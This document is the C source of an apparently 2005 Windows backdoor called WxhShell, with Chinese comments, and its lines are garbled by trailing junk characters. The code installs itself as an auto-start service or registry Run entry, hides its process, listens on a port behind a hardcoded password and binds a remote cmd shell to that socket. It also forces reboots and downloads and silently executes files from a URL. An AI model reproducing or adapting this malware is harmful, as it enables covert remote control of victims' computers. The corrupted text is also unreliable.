    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4Y x\U  
    if(Boot(SHUTDOWN)) i0jR~vF {B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QRw/d}8l  
    else { >cdxe3I\  
    closesocket(wsh); \J?l7mG  
    ExitThread(0); ]A.tauSW  
    } ohW qp2~  
    break; j~#nJI5]  
    } YT@D*\  
  // 获取shell m1\+~*i  
  case 's': { Dpf"H  
    CmdShell(wsh); I5$]{:L|9  
    closesocket(wsh); Ojwhcb^  
    ExitThread(0); Osj/={7g  
    break; ^?Y x{r~9  
  } FVo_=O)  
  // 退出 h,Nq:"}  
  case 'x': { ^ALR.N+<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6~O9|s^38w  
    CloseIt(wsh); <<iwJ U%:  
    break; &}+^*X  
    } caC-JcDXy  
  // 离开 {wS)M  
  case 'q': { {zmh0c; |  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #CcC& I :c  
    closesocket(wsh); w1q`  
    WSACleanup(); e^ ZxU/e  
    exit(1); %]iE(!>3oy  
    break; ~L55l2u7  
        } q2U8]V U)  
  } g UAx8=h  
  } )_-EeH  
KhFw%Z0s<  
  // 提示信息 gOSFvH8FU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2*5]6B-(  
} *? <ygzX  
  } (7k}ysc  
Q"VS;uh.v  
  return; d:"#_  
} 1{0 L~  
6|HxBC#4  
// shell模块句柄 5p]Cwj<u  
int CmdShell(SOCKET sock) W_\~CntyZ  
{ M7x*LiKc2  
STARTUPINFO si; tUXly|k  
ZeroMemory(&si,sizeof(si)); Q.zE}ZS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NAnccB D!{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %c`P`~sp  
PROCESS_INFORMATION ProcessInfo; 3;t{V$  
char cmdline[]="cmd"; 'G>gNq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #UYrSM@u  
  return 0; i7#PYt  
} s(u,mtG  
1Bl;.8he.)  
// 自身启动模式 Fr{}~fRW<  
int StartFromService(void) POl_chq  
{ g)/#gyT4Y  
typedef struct AJWV#J%nB  
{ QY}1i .f  
  DWORD ExitStatus; :u4q.^&!e  
  DWORD PebBaseAddress; a"Q>K7K  
  DWORD AffinityMask; Kx<T;iJ}  
  DWORD BasePriority; <GRplkf`  
  ULONG UniqueProcessId; 8+=-!": ]  
  ULONG InheritedFromUniqueProcessId; QH]G>+LI5  
}   PROCESS_BASIC_INFORMATION; vXUq[,8yf  
W, YYL(L  
PROCNTQSIP NtQueryInformationProcess; Zy+EIx  
?VCM@{9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9s9_a4t5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E|`JmfLQu  
tY>_ +)oi  
  HANDLE             hProcess; g6V>_|  
  PROCESS_BASIC_INFORMATION pbi; x } X1 O)  
VQe@H8>3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3l?-H|T  
  if(NULL == hInst ) return 0; 7~H.\4HB  
YuVg/ '=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^.:dT?@R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?K9zTas@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l NhX)D^t  
\]$TBN dJ4  
  if (!NtQueryInformationProcess) return 0; $ytlj1.  
c'Mi9,q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bayDdR4T  
  if(!hProcess) return 0; |tua*zEsS  
2z+-vT%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \7elqX`.yY  
\[MQJX,dn  
  CloseHandle(hProcess); g$a 5  
~IIlCmMl,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r{1xjAT  
if(hProcess==NULL) return 0; Sb,lY<=  
66jL2XU<  
HMODULE hMod; HgfeSH  
char procName[255]; iM'rl0  
unsigned long cbNeeded; z($h7TZ$  
)(`HEl>-9c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n+qa/<  
_G1C5nkDl4  
  CloseHandle(hProcess); ?loP18S b  
xzrA%1y  
if(strstr(procName,"services")) return 1; // 以服务启动 {=A8kgt  
yD\[`!sWk  
  return 0; // 注册表启动 tIJ?caX5=  
} 2 ,bLEhu  
6O9?":3;  
// 主模块 q(iM=IeiN  
int StartWxhshell(LPSTR lpCmdLine)  XeRbn  
{ `^#V1kRmH  
  SOCKET wsl; =(%+S<}  
BOOL val=TRUE; %hO/2u  
  int port=0; '"~ 2xiin  
  struct sockaddr_in door; U|!L{+F  
WAWy3i  
  if(wscfg.ws_autoins) Install(); T 7EkRcb  
stcbM  
port=atoi(lpCmdLine); d|Q_Z@;JF  
530Z>q  
if(port<=0) port=wscfg.ws_port; !W?6,i-]  
=bDy :yY}  
  WSADATA data; [t.x cO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?Gr2@,jlD  
6Q}WX[| tQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D qh rg;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6 OLp x)fG  
  door.sin_family = AF_INET; 5$;#=WAY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); NJ];Ck  
  door.sin_port = htons(port); f.X<Mo   
e/* T,ZJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8"5^mj  
closesocket(wsl); %V2A}78  
return 1; hErO.ad1o  
} t.YY?5 l  
`:y {  
  if(listen(wsl,2) == INVALID_SOCKET) { (I7s[  
closesocket(wsl); p#DJow  
return 1; ,4`=gKn  
} oBqWIXM  
  Wxhshell(wsl); 6OOdVS3\J  
  WSACleanup(); XA4miQn&  
kH9P(`;Vq  
return 0; O>)Fl42IeD  
p.50BcDg  
} SuuLB6{u3  
d> OLnG> F  
// 以NT服务方式启动 `L#`WC@[o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !`$xN~_  
{ [ _N w5_  
DWORD   status = 0; t=B>t S.hO  
  DWORD   specificError = 0xfffffff; } 63Qh}_Y  
QW[ gDc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I&lb5'6D  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^w1&A 3=6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {6,  l#z  
  serviceStatus.dwWin32ExitCode     = 0; ;5TQH_g  
  serviceStatus.dwServiceSpecificExitCode = 0; m(6SiV=D9  
  serviceStatus.dwCheckPoint       = 0; ?9I=XTR  
  serviceStatus.dwWaitHint       = 0; /CW 0N@  
d} {d5-_a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !da [#zK  
  if (hServiceStatusHandle==0) return; ']]5xH*U  
)!tqock*v  
status = GetLastError(); G+dQ" cI9  
  if (status!=NO_ERROR) |MEu"pY)  
{ g E#4 3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xe:gH.}  
    serviceStatus.dwCheckPoint       = 0; n +R3  
    serviceStatus.dwWaitHint       = 0; P g{/tM Y  
    serviceStatus.dwWin32ExitCode     = status; A.@/~\  
    serviceStatus.dwServiceSpecificExitCode = specificError; yR|Beno  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mb0l*'ZF  
    return; nz%{hMNYH  
  } zUNWcv!& "  
l]wjH5mz=i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2qQG  
  serviceStatus.dwCheckPoint       = 0; S.Rqu+  
  serviceStatus.dwWaitHint       = 0; S( nZ]QEG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g4"0:^/  
}  |)'6U3  
dY6A)[dAH'  
// 处理NT服务事件,比如:启动、停止 ^S]-7>Yyr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hnf7Q l}  
{ 4x;vn8 yh  
switch(fdwControl) Cvk n2T  
{ 6~#$bp^-  
case SERVICE_CONTROL_STOP: gqCDF H  
  serviceStatus.dwWin32ExitCode = 0; 9PZY](/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &Ub0o2+y  
  serviceStatus.dwCheckPoint   = 0; Nd] w I|>  
  serviceStatus.dwWaitHint     = 0; dYP-QUM$7  
  { k_$9cVA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O wJZ?j& )  
  } miCW(mbO8  
  return; wE*jN~  
case SERVICE_CONTROL_PAUSE: ;3 |Z}P  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "B 9aJo  
  break; _pM~v>~*+  
case SERVICE_CONTROL_CONTINUE: 3\~ RWoB0u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ud}B#{6  
  break; !rwe|"8m?u  
case SERVICE_CONTROL_INTERROGATE: Z6Kw'3  
  break; E/[<} ./  
}; y;1 'hP&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s'Op|`&X  
} ]`S35b  
LEJ8 .z6$  
// 标准应用程序主函数 9"%ot=)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [ S_8;j  
{ nGvWlx  
`EjPy>kM  
// 获取操作系统版本 _h2s(u >\  
OsIsNt=GetOsVer(); E,fG<X{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :% o32  
`_*NFv1_  
  // 从命令行安装 K@DK4{  
  if(strpbrk(lpCmdLine,"iI")) Install(); (sHvoE^q-  
0 jszZ_  
  // 下载执行文件 \KpSYX1  
if(wscfg.ws_downexe) { Vu u2SS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6n}5>GSF  
  WinExec(wscfg.ws_filenam,SW_HIDE);  <m7T`5+  
} rEl bzL"&<  
@m bR I0  
if(!OsIsNt) { 2:>|zmh_  
// 如果时win9x,隐藏进程并且设置为注册表启动 xbeVq P  
HideProc(); B"9/+Yj  
StartWxhshell(lpCmdLine); 5qx,b&^w  
} AnUOv 2  
else 4Em$L]7   
  if(StartFromService()) +d=cI  
  // 以服务方式启动 <+%#xi/_  
  StartServiceCtrlDispatcher(DispatchTable); X=Th  
else /6$8djw  
  // 普通方式启动 `!t+sX- n  
  StartWxhshell(lpCmdLine); v o9Fj  
O_n) 2t(c?  
return 0; acXB vs  
} No1*~EQ  
MK*WStY  
|D ?}6z  
lN<,<'&^.  
=========================================== VXpbmg!{S  
P%-@AmO^_  
n qR8uL>  
ND3(oes+;K  
q!5 *) nw"  
!oDX+hd,%>  
" D02_ Jrg  
ee9nfvG-  
#include <stdio.h> $d[xSwang  
#include <string.h> +}u{{  
#include <windows.h> Gl+Ql?|  
#include <winsock2.h> ?3vOc/2@  
#include <winsvc.h> iHp@R-g  
#include <urlmon.h> PN$vBFjm  
lM<SoC;[  
#pragma comment (lib, "Ws2_32.lib") 0d%p<c  
#pragma comment (lib, "urlmon.lib") tk"+PTGJT  
]I|3v]6qR  
#define MAX_USER   100 // 最大客户端连接数 :=I@<@82W  
#define BUF_SOCK   200 // sock buffer -X)KY_Xn@/  
#define KEY_BUFF   255 // 输入 buffer ~PoBvHi  
[J6*Q9B<V&  
#define REBOOT     0   // 重启 o,#[Se*n  
#define SHUTDOWN   1   // 关机 D m|_;iO,  
%S2^i3  
#define DEF_PORT   5000 // 监听端口 /%fa_+,|-  
5tIM@,.I/  
#define REG_LEN     16   // 注册表键长度 mM&*_#( 6  
#define SVC_LEN     80   // NT服务名长度 _B5t)7I  
AxXFzMW  
// 从dll定义API : Y{aa1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D~< 3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d_0r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :tv:46+s=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G O=&  
L;n2,b  
// wxhshell配置信息 E903T''s  
struct WSCFG { S @EkrC\4n  
  int ws_port;         // 监听端口 .>K):|Opv  
  char ws_passstr[REG_LEN]; // 口令 P [.BK  
  int ws_autoins;       // 安装标记, 1=yes 0=no v0ng M)^q  
  char ws_regname[REG_LEN]; // 注册表键名 b0~AN#Es  
  char ws_svcname[REG_LEN]; // 服务名 _-vf<QO]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /p=9"?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !+E|{Zj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~}c`r4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LOD'iiH6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kg>Ymo.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | Q Y_ci  
3M nm2*\  
}; \Lz2"JI  
Q}?yj,D D  
// default Wxhshell configuration :oH~{EQ  
struct WSCFG wscfg={DEF_PORT, Llf |fayq  
    "xuhuanlingzhe", (ei;Y~i  
    1, Ew4>+o!  
    "Wxhshell", 31w9$H N  
    "Wxhshell", NW.<v /?=,  
            "WxhShell Service", cR0RJ$[d  
    "Wrsky Windows CmdShell Service", F^ m`j6  
    "Please Input Your Password: ", V7zF5=w  
  1, m]bv2S+5y  
  "http://www.wrsky.com/wxhshell.exe", WhO;4-q)2  
  "Wxhshell.exe" m"2KAq61  
    }; FyZa1%Tv@  
k \|[=  
// 消息定义模块 H$:Z`CQt<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VtR?/+8X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5aF03+ko  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,1\nd{  
char *msg_ws_ext="\n\rExit."; `Z3Qx~f x  
char *msg_ws_end="\n\rQuit."; CvCk#:@HM  
char *msg_ws_boot="\n\rReboot..."; Cmq.V@  
char *msg_ws_poff="\n\rShutdown..."; AC=/BU3<yc  
char *msg_ws_down="\n\rSave to "; {[~ !6&2(k  
+fgF &.  
char *msg_ws_err="\n\rErr!"; X7I"WC1ncz  
char *msg_ws_ok="\n\rOK!"; <p48?+K9  
~zklrBn&  
char ExeFile[MAX_PATH]; TJ:B_F*bSk  
int nUser = 0; ^y?7B_%:B#  
HANDLE handles[MAX_USER]; dbkkx1{>Y  
int OsIsNt; "t<$ {  
wW3fsXu  
SERVICE_STATUS       serviceStatus; oKIry 8'^N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ` Nn^   
f\Bd lOJ>  
// 函数声明 Md \yXp  
int Install(void); UFxQ-GV4  
int Uninstall(void); Gy9+-7"V  
int DownloadFile(char *sURL, SOCKET wsh); la ~T)U7  
int Boot(int flag); |kvom 4T  
void HideProc(void); Y[AL!h  
int GetOsVer(void); wVvk{tS  
int Wxhshell(SOCKET wsl); Zho d%n3  
void TalkWithClient(void *cs); SRl:+!@.  
int CmdShell(SOCKET sock); <RmI)g>'_^  
int StartFromService(void); 7xP>AU)y  
int StartWxhshell(LPSTR lpCmdLine); `.f<RVk-  
#zC_;u$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .:tAZZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #>-_z  
.Od.lxz"mp  
// 数据结构和表定义 .*u, !1u  
SERVICE_TABLE_ENTRY DispatchTable[] = nXDU8|"  
{ <|~8Ezd  
{wscfg.ws_svcname, NTServiceMain}, huu:z3{=J  
{NULL, NULL} 5Sd+Cc  
}; TIg 3'au  
od{b]HvgS  
// 自我安装 y]5O45E0  
int Install(void) ;BV1E|j  
{ 4P@Ak7iL(V  
  char svExeFile[MAX_PATH]; ^Bw2y&nN  
  HKEY key; '>AOJ aA  
  strcpy(svExeFile,ExeFile); |3f?1:"Z  
=6b^j]1  
// 如果是win9x系统,修改注册表设为自启动 /dpEL9K  
if(!OsIsNt) { YEoQIR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^)&d7cSc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ U6Iw"@  
  RegCloseKey(key); .OM m"RtK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fYF\5/_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z'K&LH  
  RegCloseKey(key); <syMrXk)R(  
  return 0; SwV{t}I  
    } 'qS&7 W(  
  } +E7s[9/r  
} _}.BZ[i  
else {  4l+"J:,  
`_C4L=q"  
// 如果是NT以上系统,安装为系统服务 5v4 ,YHD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m72r6Yq2@  
if (schSCManager!=0) K_ P08  
{ T]\_[e:'  
  SC_HANDLE schService = CreateService K1Ms  
  ( WpE\N0Yg  
  schSCManager, (J8 (_MF  
  wscfg.ws_svcname, Tj}H3/2  
  wscfg.ws_svcdisp, J[rpMQ  
  SERVICE_ALL_ACCESS, fOEw]B#@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T+7O+X#  
  SERVICE_AUTO_START, won;tO]\;@  
  SERVICE_ERROR_NORMAL, Uk=jQfA*J  
  svExeFile, b: UTq 7^  
  NULL, [(U:1&x &  
  NULL, X>^St&B}fC  
  NULL, H%`Ja('"p  
  NULL, ;^nN!KDjR  
  NULL He att?(RR  
  ); F$P8"q+  
  if (schService!=0) ]6NpHDip1  
  { iE$qq ~%  
  CloseServiceHandle(schService); eO#Kn'5  
  CloseServiceHandle(schSCManager); 6m_ fEkS[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jovI8Dw >  
  strcat(svExeFile,wscfg.ws_svcname); To1 .U)do  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LIYj__4=|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~;nh|v/e  
  RegCloseKey(key); 45e-A{G~  
  return 0; n}(/>?/  
    } ]ovP^]]V  
  } L=4%MyZ.e  
  CloseServiceHandle(schSCManager); Zq7Y('=`t@  
} };"-6e/9  
} 9fr LYJz"  
!t/I j~o  
return 1; f QSP]?  
} R{"Kh2q_  
Mz,G;x}  
// 自我卸载 BH"f\oc  
int Uninstall(void) x5[wF6A  
{ ZYr6Wn  
  HKEY key; k^ B<t'  
D+G?:m R  
if(!OsIsNt) { 1sgI,5liUs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OKs1irt5  
  RegDeleteValue(key,wscfg.ws_regname); *;7~aM  
  RegCloseKey(key); K*^3FO}JG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CN4Q++{  
  RegDeleteValue(key,wscfg.ws_regname); JgQ,,p_V?  
  RegCloseKey(key); 4X tIMa28  
  return 0; aMdWT4  
  } g{wOq{7V  
} |P!7T.  
} P%w)*);  
else { yClX!OL  
-?L~\WJAL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A)"?GK{*  
if (schSCManager!=0) KwO;ICdJ  
{ jd]Om r!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J?VMQTa/+  
  if (schService!=0) /U\k<\1~m  
  { s`Z | A  
  if(DeleteService(schService)!=0) { Yxik .S+G  
  CloseServiceHandle(schService); 2wR?ON=Q  
  CloseServiceHandle(schSCManager); 5=Cea  
  return 0; V0 70oZ  
  } yOHVL~F  
  CloseServiceHandle(schService); s6=jHrdvv  
  } GH ] c  
  CloseServiceHandle(schSCManager); >@?!-Fy5  
} ~jcdnm]  
} M&auA  
wD+4#=/j  
return 1; L\;n[,.  
} "m2g"x a\7  
ndW]S7  
// 从指定url下载文件 _{$eOwB  
int DownloadFile(char *sURL, SOCKET wsh) r"HQ>Wn  
{ "u29| OY  
  HRESULT hr; pjG/`  
char seps[]= "/"; 'Lm\ r+$F  
char *token; f_\,H|zco)  
char *file; yhTC?sf<  
char myURL[MAX_PATH]; t5t!-w\M$+  
char myFILE[MAX_PATH]; g~ubivl2  
T$ w`=7  
strcpy(myURL,sURL); VINb9W}G[  
  token=strtok(myURL,seps); 8NP|>uaj  
  while(token!=NULL) |.]sL0; 4Z  
  { 3i\<#{  
    file=token; mO#62e4C  
  token=strtok(NULL,seps); ,%Go.3i[  
  } M/<>'%sj  
Zw@=WW[Q`p  
GetCurrentDirectory(MAX_PATH,myFILE); H5MO3DJ  
strcat(myFILE, "\\"); 2iX57-6Ub  
strcat(myFILE, file); +"P!es\q  
  send(wsh,myFILE,strlen(myFILE),0); EhWYFQ  
send(wsh,"...",3,0); pAdx 6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Twq/Y07M  
  if(hr==S_OK) V.\12P  
return 0; /O`<?aP%  
else Mg pjC`  
return 1; GN0s`'#"3%  
3.0t5F<B  
} pUV4oyGV   
fX:=_c   
// 系统电源模块 Pi/V3D) B  
int Boot(int flag) kH4xP3. i  
{ W=-:<3XL  
  HANDLE hToken; cmcR @zv  
  TOKEN_PRIVILEGES tkp; 58]C``u@Y  
bf4QW JZD  
  if(OsIsNt) { A!GQ4.~%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); k[ZkVwx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hiT&QJB` _  
    tkp.PrivilegeCount = 1; H@|h Nn$@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /TEE<\"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Pl/}`H:R&  
if(flag==REBOOT) { q0sdL86  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;rj|>  
  return 0; Ea<kc[Q  
} q$iGeE#  
else { tDWoQ&z2t_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FTJvkcc?m  
  return 0; UI]UxEJ  
} ?GT,Y5  
  } b f j]Q  
  else { q+ZN$4m  
if(flag==REBOOT) { OyG#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *4 HogC  
  return 0; ~~iFs ,9  
} pu OAt  
else { (qyT,K8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z%4w{T+[  
  return 0; BJ*8mKi h  
} 1`q>*S](  
} +3d.JQoKl  
OAiSE`  
return 1; v$d^>+Y#  
} `z1E]{A  
!+o`,KTYp  
// win9x进程隐藏模块 96#aG h>  
void HideProc(void) p|0ZP6!|  
{ )<K3Fz Bs  
; 8B )J<y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Oj]4jRew  
  if ( hKernel != NULL ) ~TfN*0  
  {  8 ?4/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -Cc2|~n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g3*J3I-O  
    FreeLibrary(hKernel); bAwFC2jO[  
  } }trQ<*D  
 k:i}xKu  
return; E``\Jre@  
} w f""=;  
\ $Q?  
// 获取操作系统版本 qBDhCE  
int GetOsVer(void) .~Gt=F+`s  
{ Vjqs\  
  OSVERSIONINFO winfo; |T+YC[T#v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CFW#+U#U  
  GetVersionEx(&winfo); ~{00moN"m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ozUsp[W>  
  return 1; f=cj5T:[  
  else \N a  
  return 0; XCyAt;neon  
} f+V^q4  
/oC@:7  
// 客户端句柄模块 P ~rTuj  
int Wxhshell(SOCKET wsl) =u<jxV9  
{ q]rqFP0C  
  SOCKET wsh; e13' dCG  
  struct sockaddr_in client; 78h!D[6  
  DWORD myID; %pUA$oUt  
z/P^Bx]r  
  while(nUser<MAX_USER) @3_."-d  
{ ;y]BXW&l&  
  int nSize=sizeof(client); =2OLyZDI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )u>/:  
  if(wsh==INVALID_SOCKET) return 1; L g2z `uv  
$*qQ/hi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <!a%GI  
if(handles[nUser]==0) DTN)#G CtF  
  closesocket(wsh); f\X7h6k8{  
else ]&_z@Z.i  
  nUser++; e3=-7FU  
  } 20`QA u)'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lgrpy  
a_(fqoW  
  return 0; ^X| Bzz)  
} &'"dYZj{  
$TY 1'#1U;  
// 关闭 socket PL*1-t?#  
void CloseIt(SOCKET wsh) i:n1Di1~E  
{ 6QX2&[qWS  
closesocket(wsh); |'!9mvt=  
nUser--; M d.^r5r  
ExitThread(0); Q=?YY-*$  
} \qw1\-q  
Xu%8Q?]  
// 客户端请求句柄 a+ s%9l  
void TalkWithClient(void *cs) $^5c8wT  
{ bOdQ+Y6  
4YyVh.x  
  SOCKET wsh=(SOCKET)cs; W0\ n?$ZC~  
  char pwd[SVC_LEN]; I!u fw\[  
  char cmd[KEY_BUFF]; TFI$>Oz|  
char chr[1]; RCY}JH>}  
int i,j; fK10{>E1  
PNRZUZ4Z|  
  while (nUser < MAX_USER) { @WnW @'*F  
i/j eb*d0  
if(wscfg.ws_passstr) { Jk_ }y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .2x`Fj;o1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v@Bk)Z  
  //ZeroMemory(pwd,KEY_BUFF); >vZ^D  
      i=0; KA{ JSi  
  while(i<SVC_LEN) { u iR[V~  
R=<uf:ca  
  // 设置超时 G~{#%i  
  fd_set FdRead; SGUZ'}  
  struct timeval TimeOut; '"]QAj?N  
  FD_ZERO(&FdRead); -m_H]<lWZ  
  FD_SET(wsh,&FdRead); 8^5@J) R8  
  TimeOut.tv_sec=8; m:]60koz]o  
  TimeOut.tv_usec=0; LLd5Z44v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z c&i 4K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u$ a7  
HC>MCwx=r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P$Fq62;}r4  
  pwd=chr[0]; DlxL:  
  if(chr[0]==0xd || chr[0]==0xa) { Ybp';8V  
  pwd=0; 66l+cb  
  break; &b=OT%D~FU  
  } Z>_F:1x  
  i++; 9PWqoz2c  
    } 2SJ|$VsLaE  
JB9s# `  
  // 如果是非法用户,关闭 socket arb'.:[z^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !b?`TUt   
} gbT1d:T  
H57wzG{xG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `8b4P>';O'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n|) JhXQ  
18AlQ+')?w  
while(1) { ,`U'q|b  
9e0t  
  ZeroMemory(cmd,KEY_BUFF); 63T4''bwu  
3u&)6C?YM  
      // 自动支持客户端 telnet标准   2W6t0MgZ  
  j=0; iE* Y@E5x0  
  while(j<KEY_BUFF) { B<!WAw+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bI+ TFOP  
  cmd[j]=chr[0]; 68nBc~iAm  
  if(chr[0]==0xa || chr[0]==0xd) { Q=#@g  
  cmd[j]=0; hs?cV)hDS  
  break; ITf4PxF  
  } Tw@:sWC  
  j++; ^-dhz88wV  
    } /5j]laYK)  
a4x(lx&  
  // 下载文件 /(?,S{]  
  if(strstr(cmd,"http://")) { u$nYddak  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ SW!S_&Z2  
  if(DownloadFile(cmd,wsh)) mM\jU5P:^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hDD]Kc;G^1  
  else O[\obi"}  
